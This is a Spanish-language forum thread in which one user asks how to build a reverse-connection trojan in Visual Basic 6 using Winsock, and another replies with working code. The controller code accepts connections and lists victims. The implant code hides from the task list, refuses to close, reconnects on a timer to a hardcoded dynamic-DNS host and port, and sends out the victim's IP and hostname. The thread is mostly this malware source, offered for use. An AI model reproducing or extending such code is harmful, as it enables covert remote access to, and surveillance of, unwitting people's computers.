Duda seria usando winsock en visual 6

[Suikodenman]

Wenaz, me e puesto a hacer un troyano de conexion inversa e leido manuales de como hacer los de directa se supone que debe ser alreves el evento data arrival , pero me lie pensando muchas cosas y quisiera saber que codigo debo insertar en el data arrival del cliente y el servidor uno para que el server quiera conectarse al servidor cada ves que el cliente le envia datos eso es el data arrival no¡¿? no uso text box solo pondre una direccion host y puerto fija.

[shadow.darknesses]

cliente:
winsock1 = ws con index = 0

Código:

Private Sub Ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
  On Error GoTo error
   TotalIndex = TotalIndex + 1
   Ws(Index).Close
   Ws(Index).Accept requestID
   Load Ws(TotalIndex)
   Ws(TotalIndex).LocalPort = frm_config.Text_puerto.Text
   Ws(TotalIndex).Listen
   Me.Caption = "Usuarios Conectados"
error:
End Sub
'esto lo ke viene no es muy necesesario ees para mostrar la ip y otras cosas en la listview = lc
Private Sub Ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim datos As String, x As ListItem
Dim vdata() As String
Ws(Index).GetData datos
vdata = Split(datos, "|")
Select Case vdata(0)
Case "Conexion"
Set x = Lc.ListItems.Add(, Index & "|", vdata(1))
x.SubItems(1) = vdata(2)
x.SubItems(2) = vdata(3)
x.SubItems(3) = "v " & vdata(4)
x.SubItems(4) = vdata(5) & "/" & Ws(Index).RemotePort

todavia en el cliente
en listview
pon estas propieades
View="lvwReport"
LabelEdit="lvwManual"
FullRowSelect=True
Gridlines=True
ya eso
y en el server

Código:

Dim SName As String
Private Sub Form_Load()
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "Yop"
App.TaskVisible = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = True
End Sub

Private Sub Timer_conect_Timer()
If Ws.State <> 7 Then
Ws.Close
Ws.Connect
Timer_info.Enabled = True
End If
End Sub

Private Sub Timer_info_Timer()
If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName & "|" & App.Major & "." & App.Minor & "." & App.Revision & "|" & Ws.LocalPort & "|C"
Timer_info.Enabled = False
End Sub

ya eso es
Saludoss.